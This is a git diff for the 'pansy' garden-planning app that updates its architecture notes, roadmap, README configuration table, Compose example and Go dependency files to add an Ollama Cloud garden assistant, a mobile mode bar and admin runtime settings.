internal/store/ sqlite.go (open/pragmas), migrate.go, migrations/*.sql (embedded),
queries per entity (users.go, gardens.go, objects.go, plantings.go,
@@ -89,7 +107,8 @@ internal/service/ ★ THE SEAM. All permission checks + business ops. aut
internal/api/ thin gin handlers (decode → service → encode), session middleware,
ginserver setup, routes.go, oidc.go, spa.go (embed fallback)
internal/webdist/ dist.go: //go:embed all:dist (web build copied in by Makefile)
internal/agent/ later: llm.DefineTool[Args] wrappers over the SAME service methods
internal/agent/ tools.go (llm.DefineTool wrappers over the SAME service methods),
runtime.go (model resolution, run loop, one change set per turn)
web/ Vite app
Makefile (cd web && npm run build) → copy dist → CGO_ENABLED=0 go build
```
@@ -109,9 +128,10 @@ Makefile (cd web && npm run build) → copy dist → CGO_ENABLED
React 19 + TypeScript + Vite + Tailwind 4 (`@tailwindcss/vite`), `@tanstack/react-router`, `@tanstack/react-query`, zod for API parsing; dev proxy `/api` → Go server.
- **Routes:** `/login`, `/register`, `/gardens` (list), `/gardens/:id` (editor, `?focus=objectId`), `/plants` (catalog). Auth guard on the router root via `/auth/me`.
- **State:** TanStack Query for all server state (editor keyed on `gardens/:id/full`; optimistic mutations with version-conflict rollback). One small Zustand store for ephemeral editor state only: viewport, selection, focused object, active tool, in-flight drag.
- **State:** TanStack Query for all server state (editor keyed on `gardens/:id/full`; optimistic mutations with version-conflict rollback). One small Zustand store for ephemeral editor state only: viewport, selection, focused object, active tool, in-flight drag, and the mobile `mode`.
- **Mobile-first editor: one primary mode (#99).** On a phone the canvas is the whole screen; a bottom mode bar switches which tools dock beneath it — **Fixtures** (the object palette), **Plants** (shown once a bed is focused; focusing a bed puts you in this mode — a "Recent" strip of what you've most recently planted *in this garden* (#100, derived from plantings, not the manual tray) for one-tap re-arming, the seed tray, the picker, and a clump/rows **fill** control that runs the region fill (#77) the UI couldn't reach before), **Journal**, **Assistant** (Assistant hidden with no model). This replaces the old phone layout where a stacked control column shoved the garden into a corner. The mode bar is **always visible**, and the rail (inspector, journal, history, assistant) is an **in-flow peek** (#101): a ≤50vh panel the editor's flex column places BETWEEN the canvas and the mode bar, so the canvas flexes to keep the garden visible above it and the mode bar reachable below — selecting a bed no longer hides the whole garden, and you can switch modes without closing a panel. Desktop keeps its side-column layout (the mode bar is `md:hidden`, the rail is the right column) and treats `mode` as an inert hint. History stays reachable as a rail sub-tab rather than a fifth primary mode.
- **Editor components (`web/src/editor/`):** `GardenCanvas` (svg root + viewport g), `useViewport` (use-gesture pan/zoom/pinch), `ObjectShape`, `PlopMarker` (semantic-zoom branching), `Palette` (drag-to-place object kinds), `EditorRail` (the one side panel), `Inspector`, `HistoryPanel`, `PlantPicker`.
- **One rail, tabs inside it.** The inspector, history, and later the journal and chat panel all want the same strip of screen; rather than each bolting on its own chrome they are tabs in `EditorRail` — so the canvas is one width instead of a different width per panel, and adding a panel is adding a tab. Selecting an object switches to the Inspector tab automatically, so the rail is never something you operate before you can edit; on a phone the same tabs render in the bottom sheet the inspector already used. Pure geometry helpers (local↔world transforms, unit formatting) in `web/src/lib/geometry.ts`, unit-tested.
- **One rail, tabs inside it.** The inspector, history, journal and assistant all want the same strip of screen; rather than each bolting on its own chrome they are tabs in `EditorRail` — so the canvas is one width instead of a different width per panel, and adding a panel is adding a tab. Selecting an object switches to the Inspector tab automatically, so the rail is never something you operate before you can edit; on a phone the same tabs render in the bottom sheet the inspector already used. Pure geometry helpers (local↔world transforms, unit formatting) in `web/src/lib/geometry.ts`, unit-tested.
## Roadmap
@@ -123,7 +143,8 @@ React 19 + TypeScript + Vite + Tailwind 4 (`@tailwindcss/vite`), `@tanstack/reac
6. **Plops** — focus-zoom, place/move/resize, derived counts, semantic zoom. *The core vision lands here.*
7. **Sharing** — invite by email, roles, viewer read-only mode.
8. **Polish** — imperial toggle, mobile ergonomics, clear-bed, keyboard nudging.
9. **Agent seam**`ops.go` bulk ops + `internal/agent` DefineTool wrappers; optional mort-style API-key agent endpoint. The agent harness itself lives in majordomo/executus, outside pansy.
9. **Agent seam**`ops.go` bulk ops + `internal/agent` DefineTool wrappers.
10. **Garden assistant** — majordomo in-process, Ollama Cloud, streaming chat. Each turn runs inside ONE change set (`source='agent'`), so a turn that clears a bed and replants it undoes as one action; that is what makes acting without a confirmation prompt defensible. Bounded by a step cap and a timeout — loop safety, not spend control. The `majordomo` build tag is gone: a tag that keeps the agent out of the binary only earns its keep if you'd ship a build without it, and the agent is the point.
## Deliberate v1 limits
+14 -5
View File
@@ -63,12 +63,20 @@ All configuration is via environment variables; every value has a default, so `.
| `PANSY_OIDC_BUTTON_LABEL` | `Sign in with Authentik` | Label for the OIDC button on the login page. |
| `PANSY_TRUSTED_PROXIES` | *(none)* | Comma-separated proxy CIDRs/IPs to trust for client-IP resolution. |
The garden assistant reads two more. Both are **read only once the assistant lands** ([#56](https://gitea.stevedudenhoeffer.com/steve/pansy/issues/56)); setting them earlier is harmless and setting neither leaves the assistant off.
The garden assistant reads three more. Setting none of them leaves the assistant off; the app runs exactly as it does without it.
| Variable | Default | Description |
| ----------------------- | ----------------------------- | --------------------------------------------------------------------------- |
| `OLLAMA_CLOUD_API_KEY` | *(empty)* | Ollama Cloud API key. Without it the assistant is disabled, not broken. |
| `PANSY_AGENT_MODEL` | `ollama-cloud/glm-5.2:cloud` | Model spec, passed verbatim to `majordomo.Parse` — a comma-separated list is a failover chain. |
| ----------------------- | ------------------------------ | --------------------------------------------------------------------------- |
| `OLLAMA_CLOUD_API_KEY` | *(empty)* | Ollama Cloud API key. Without it the assistant is off, not broken. This is the one agent value that stays in the environment — it is **never** stored in the database or editable in Settings. |
| `PANSY_AGENT_MODEL` | `ollama-cloud/glm-5.2:cloud` | Default model spec, passed verbatim to `majordomo.Parse` — a comma-separated list is a failover chain, e.g. `ollama-cloud/glm-5.2:cloud,ollama-cloud/kimi-k2.6:cloud`. An admin can override this per-instance in **Settings** without a redeploy; a blank Settings value inherits this. |
| `PANSY_AGENT_ENABLED` | on when a key is present | Default on/off for the assistant. Also overridable in Settings (which can inherit this default). |
| `PANSY_VISION_MODEL` | *(empty)* | Default model for **seed-packet capture** (photograph a packet → it fills in the plant + purchase). A *vision-capable* model (the chat model may not be). Empty = the feature isn't offered. Runs against the same `OLLAMA_CLOUD_API_KEY`, and is overridable in Settings. |
The agent model + enabled flag, and the vision model, can be changed at runtime by an admin under **Settings** (the gear appears in the nav for admins) — an agent change swaps the live assistant with no restart. The env vars above are the defaults an untouched instance uses, and the API key is intentionally not among the runtime-editable settings: a secret in the database would land in every backup. Precedence is **Settings value, if set → env var → built-in default**.
The assistant acts without asking first, which is only reasonable because every turn is one undoable change set — see the History panel in the editor.
**If you set the key and the assistant still doesn't appear**, check that the variable reaches the *container*, not just your orchestrator's stack config — Compose needs it listed under the service's `environment:`. pansy logs why the assistant is off at startup, and Settings shows the same status (a key present, the resolved model, and whether it's actually running).
Local email/password auth is live (`POST /api/v1/auth/register`, `/auth/login`, `/auth/logout`, `GET /auth/me`, `GET /auth/providers`); the session is an HttpOnly cookie (`Secure` when `PANSY_BASE_URL` is https). The first account registered becomes admin, and it may register even when `PANSY_REGISTRATION=closed` to bootstrap the instance.
@@ -108,7 +116,8 @@ services:
# PANSY_OIDC_ISSUER: https://auth.example.com/application/o/pansy/
# PANSY_OIDC_CLIENT_ID: ...
# PANSY_OIDC_CLIENT_SECRET: ...
# OLLAMA_CLOUD_API_KEY: ... # enables the garden assistant
# OLLAMA_CLOUD_API_KEY: ${OLLAMA_CLOUD_API_KEY} # enables the garden assistant
# PANSY_AGENT_MODEL: ollama-cloud/glm-5.2:cloud
restart: unless-stopped
volumes:
pansy-data:
+24 -4
View File
@@ -3,20 +3,39 @@ module gitea.stevedudenhoeffer.com/steve/pansy
go 1.26.2
require (
gitea.stevedudenhoeffer.com/steve/majordomo v0.0.0-20260718232210-a941f5ff4a3f
github.com/coreos/go-oidc/v3 v3.20.0
github.com/gen2brain/heic v0.7.1
github.com/gin-gonic/gin v1.10.1
github.com/samber/slog-gin v1.15.0
golang.org/x/crypto v0.31.0
golang.org/x/crypto v0.36.0
golang.org/x/image v0.44.0
golang.org/x/oauth2 v0.36.0
modernc.org/sqlite v1.34.4
)
require (
cloud.google.com/go v0.116.0 // indirect
cloud.google.com/go/auth v0.9.3 // indirect
cloud.google.com/go/compute/metadata v0.5.0 // indirect
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect
github.com/google/go-cmp v0.6.0 // indirect
github.com/google/s2a-go v0.1.8 // indirect
github.com/googleapis/enterprise-certificate-proxy v0.3.4 // indirect
github.com/gorilla/websocket v1.5.3 // indirect
go.opencensus.io v0.24.0 // indirect
google.golang.org/genai v1.59.0 // indirect
google.golang.org/genproto/googleapis/rpc v0.0.0-20240903143218-8af14fe29dc1 // indirect
google.golang.org/grpc v1.66.2 // indirect
)
require (
github.com/bytedance/sonic v1.11.9 // indirect
github.com/bytedance/sonic/loader v0.1.1 // indirect
github.com/cloudwego/base64x v0.1.4 // indirect
github.com/cloudwego/iasm v0.2.0 // indirect
github.com/dustin/go-humanize v1.0.1 // indirect
github.com/ebitengine/purego v0.10.1 // indirect
github.com/gabriel-vasile/mimetype v1.4.4 // indirect
github.com/gin-contrib/sse v0.1.0 // indirect
github.com/go-jose/go-jose/v4 v4.1.4 // indirect
@@ -35,14 +54,15 @@ require (
github.com/ncruces/go-strftime v0.1.9 // indirect
github.com/pelletier/go-toml/v2 v2.2.2 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
github.com/tetratelabs/wazero v1.12.0 // indirect
github.com/twitchyliquid64/golang-asm v0.15.1 // indirect
github.com/ugorji/go/codec v1.2.12 // indirect
go.opentelemetry.io/otel v1.29.0 // indirect
go.opentelemetry.io/otel/trace v1.29.0 // indirect
golang.org/x/arch v0.8.0 // indirect
golang.org/x/net v0.33.0 // indirect
golang.org/x/sys v0.28.0 // indirect
golang.org/x/text v0.21.0 // indirect
golang.org/x/net v0.38.0 // indirect
golang.org/x/sys v0.44.0 // indirect
golang.org/x/text v0.40.0 // indirect
google.golang.org/protobuf v1.34.2 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect
+124 -14
View File
@@ -1,11 +1,24 @@
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
cloud.google.com/go v0.116.0 h1:B3fRrSDkLRt5qSHWe40ERJvhvnQwdZiHu0bJOpldweE=
cloud.google.com/go v0.116.0/go.mod h1:cEPSRWPzZEswwdr9BxE6ChEn01dWlTaF05LiC2Xs70U=
cloud.google.com/go/auth v0.9.3 h1:VOEUIAADkkLtyfr3BLa3R8Ed/j6w1jTBmARx+wb5w5U=
cloud.google.com/go/auth v0.9.3/go.mod h1:7z6VY+7h3KUdRov5F1i8NDP5ZzWKYmEPO842BgCsmTk=
cloud.google.com/go/compute/metadata v0.5.0 h1:Zr0eK8JbFv6+Wi4ilXAR8FJ3wyNdpxHKJNPos6LTZOY=
cloud.google.com/go/compute/metadata v0.5.0/go.mod h1:aHnloV2TPI38yx4s9+wAZhHykWvVCfu7hQbF+9CWoiY=
gitea.stevedudenhoeffer.com/steve/majordomo v0.0.0-20260718232210-a941f5ff4a3f h1:Zt91pngDr+TIU14sxv3fk1QS7bMQetvccFNg8kPaltA=
gitea.stevedudenhoeffer.com/steve/majordomo v0.0.0-20260718232210-a941f5ff4a3f/go.mod h1:UZLveG17SmENt4sne2RSLIbioix30RZbRIQUzBAnOyY=
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/bytedance/sonic v1.11.9 h1:LFHENlIY/SLzDWverzdOvgMztTxcfcF+cqNsz9pK5zg=
github.com/bytedance/sonic v1.11.9/go.mod h1:LysEHSvpvDySVdC2f87zGWf6CIKJcAvqab1ZaiQtds4=
github.com/bytedance/sonic/loader v0.1.1 h1:c+e5Pt1k/cy5wMveRDyk2X4B9hF4g7an8N3zCYjJFNM=
github.com/bytedance/sonic/loader v0.1.1/go.mod h1:ncP89zfokxS5LZrJxl5z0UJcsk4M4yY2JpfqGeCtNLU=
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
github.com/cloudwego/base64x v0.1.4 h1:jwCgWpFanWmN8xoIUHa2rtzmkd5J2plF/dnLS6Xd/0Y=
github.com/cloudwego/base64x v0.1.4/go.mod h1:0zlkT4Wn5C6NdauXdJRhSKRlJvmclQ1hhJgA0rcu/8w=
github.com/cloudwego/iasm v0.2.0 h1:1KNIy1I1H9hNNFEEH3DVnI4UujN+1zjpuk6gwHLTssg=
github.com/cloudwego/iasm v0.2.0/go.mod h1:8rXZaNYT2n95jn+zTI1sDr+IgcD2GVs0nlbbQPiEFhY=
github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
github.com/coreos/go-oidc/v3 v3.20.0 h1:EtE0WIBHk03N+DqGkY4+UONzzZHk7amKt6IyNd7OsZE=
github.com/coreos/go-oidc/v3 v3.20.0/go.mod h1:DYCf24+ncYi+XkIH97GY1+dqoRlbaSI26KVTCI9SrY4=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
@@ -13,8 +26,16 @@ github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
github.com/ebitengine/purego v0.10.1 h1:dewVBCBT2GaMu1SrNTYxQhgQBethzfhiwvZiLGP/qyY=
github.com/ebitengine/purego v0.10.1/go.mod h1:iIjxzd6CiRiOG0UyXP+V1+jWqUXVjPKLAI0mRfJZTmQ=
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
github.com/gabriel-vasile/mimetype v1.4.4 h1:QjV6pZ7/XZ7ryI2KuyeEDE8wnh7fHP9YnQy+R0LnH8I=
github.com/gabriel-vasile/mimetype v1.4.4/go.mod h1:JwLei5XPtWdGiMFB5Pjle1oEeoSeEuJfJE+TtfvdB/s=
github.com/gen2brain/heic v0.7.1 h1:Aha1sZdKEeZeWl5o0xkSg7NBRhhkrlokGVCRri+2Qcc=
github.com/gen2brain/heic v0.7.1/go.mod h1:ja42wMJc4fpnKsfdUJxeZa2YqqRnes1wS0xqs5+8o5w=
github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE=
github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI=
github.com/gin-gonic/gin v1.10.1 h1:T0ujvqyCSqRopADpgPgiTT63DUQVSfojyME59Ei63pQ=
@@ -31,13 +52,40 @@ github.com/go-playground/validator/v10 v10.22.0 h1:k6HsTZ0sTnROkhS//R0O+55JgM8C4
github.com/go-playground/validator/v10 v10.22.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM=
github.com/goccy/go-json v0.10.3 h1:KZ5WoDbxAIgm2HNbYckL0se1fHD6rz5j4ywS6ebzDqA=
github.com/goccy/go-json v0.10.3/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE=
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=
github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=
github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=
github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=
github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8=
github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/google/pprof v0.0.0-20240409012703-83162a5b38cd h1:gbpYu9NMq8jhDVbvlGkMFWCjLFlqqEZjEmObmhUy6Vo=
github.com/google/pprof v0.0.0-20240409012703-83162a5b38cd/go.mod h1:kf6iHlnVGwgKolg33glAes7Yg/8iWP8ukqeldJSO7jw=
github.com/google/s2a-go v0.1.8 h1:zZDs9gcbt9ZPLV0ndSyQk6Kacx2g/X+SKYovpnz3SMM=
github.com/google/s2a-go v0.1.8/go.mod h1:6iNWHTpQ+nfNRN5E00MSdfDwVesa8hhS32PhPO8deJA=
github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/googleapis/enterprise-certificate-proxy v0.3.4 h1:XYIDZApgAnrN1c855gTgghdIA6Stxb52D5RnLI1SLyw=
github.com/googleapis/enterprise-certificate-proxy v0.3.4/go.mod h1:YKe7cfqYXjKGpGvmSg28/fFvhNzinZQm8DGnaburhGA=
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
@@ -65,6 +113,7 @@ github.com/pelletier/go-toml/v2 v2.2.2 h1:aYUidT7k73Pcl9nb2gScu7NSrKCSHIDE89b3+6
github.com/pelletier/go-toml/v2 v2.2.2/go.mod h1:1t835xjRzz80PqgE6HHgN2JOsmgYu/h4qDAS4n929Rs=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
github.com/samber/slog-gin v1.15.0 h1:Kqs/ilXd9divtslWjbz5DVptmLlzyntbBiXUAta2SFg=
@@ -81,10 +130,14 @@ github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
github.com/tetratelabs/wazero v1.12.0 h1:DuWcpNu/FzgEXgGBDp8J1Spc+CWOvvtvVyjKlaZopYU=
github.com/tetratelabs/wazero v1.12.0/go.mod h1:LvKtzl2RqO4gyF27BiXU+nKAjcV8f38U+kP/q2vgxh0=
github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS4MhqMhdFk5YI=
github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08=
github.com/ugorji/go/codec v1.2.12 h1:9LC83zGrHhuUA9l16C9AHXAqEV/2wBQ4nkvumAE65EE=
github.com/ugorji/go/codec v1.2.12/go.mod h1:UNopzCgEMSXjBc6AOMqYvWC1ktqTAfzJZUZgYf6w6lg=
go.opencensus.io v0.24.0 h1:y73uSU6J157QMP2kn2r30vwW1A2W2WFwSCGnAVxeaD0=
go.opencensus.io v0.24.0/go.mod h1:vNK8G9p7aAivkbmorf4v+7Hgx+Zs0yY+0fOtgBfjQKo=
go.opentelemetry.io/otel v1.29.0 h1:PdomN/Al4q/lN6iBJEN3AwPvUiHPMlt93c8bqTG5Llw=
go.opentelemetry.io/otel v1.29.0/go.mod h1:N/WtXPs1CNCUEx+Agz5uouwCba+i+bJGFicT8SR4NP8=
go.opentelemetry.io/otel/trace v1.29.0 h1:J/8ZNK4XgR7a21DZUAsbF8pZ5Jcw1VhACmnYt39JTi4=
@@ -92,24 +145,79 @@ go.opentelemetry.io/otel/trace v1.29.0/go.mod h1:eHl3w0sp3paPkYstJOmAimxhiFXPg+M
golang.org/x/arch v0.0.0-20210923205945-b76863e36670/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8=
golang.org/x/arch v0.8.0 h1:3wRIsP3pM4yUptoR96otTUOXI367OS0+c9eeRi9doIc=
golang.org/x/arch v0.8.0/go.mod h1:FEVrYAQjsQXMVJ1nsMoVVXPZg6p2JE2mx8psSWTDQys=
golang.org/x/crypto v0.31.0 h1:ihbySMvVjLAeSH1IbfcRTkD/iNscyz8rGzjF/E5hV6U=
golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk=
golang.org/x/mod v0.17.0 h1:zY54UmvipHiNd+pm+m0x9KhZ9hl1/7QNMyxXbc6ICqA=
golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
golang.org/x/net v0.33.0 h1:74SYHlV8BIgHIFC/LrYkOGIwL19eTYXQ5wc6TBuO36I=
golang.org/x/net v0.33.0/go.mod h1:HXLR5J+9DxmrqMwG9qjGCxZ+zKXxBru04zlTvWlWuN4=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.36.0 h1:AnAEvhDddvBdpY+uR+MyHmuZzzNqXSe/GvuDeob5L34=
golang.org/x/crypto v0.36.0/go.mod h1:Y4J0ReaxCR1IMaabaSMugxJES1EpwhBHhv2bDHklZvc=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/image v0.44.0 h1:+tDekMZED9+LrtB3G5xzRggpVh9CARjZqROla3R3R+I=
golang.org/x/image v0.44.0/go.mod h1:V8K3KE9KKKE+pLpQDOeN18w9oacNSvy1tDOirTu4xtY=
golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
golang.org/x/mod v0.37.0 h1:vF1DjpVEshcIqoEaauuHebaLk1O1forxjxBaVn884JQ=
golang.org/x/mod v0.37.0/go.mod h1:m8S8VeM9r4dzDwjrKO0a1sZP3YjeMamRRlD+fmR2Q/0=
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.38.0 h1:vRMAPTMaeGqVhG5QyLJHqNDwecKTomGeqbnfZyKlBI8=
golang.org/x/net v0.38.0/go.mod h1:ivrbrMbzFq5J41QOQh0siUuly180yBYtLp+CKbEaFx8=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.36.0 h1:peZ/1z27fi9hUOFCAZaHyrpWG5lwe0RJEEEeH0ThlIs=
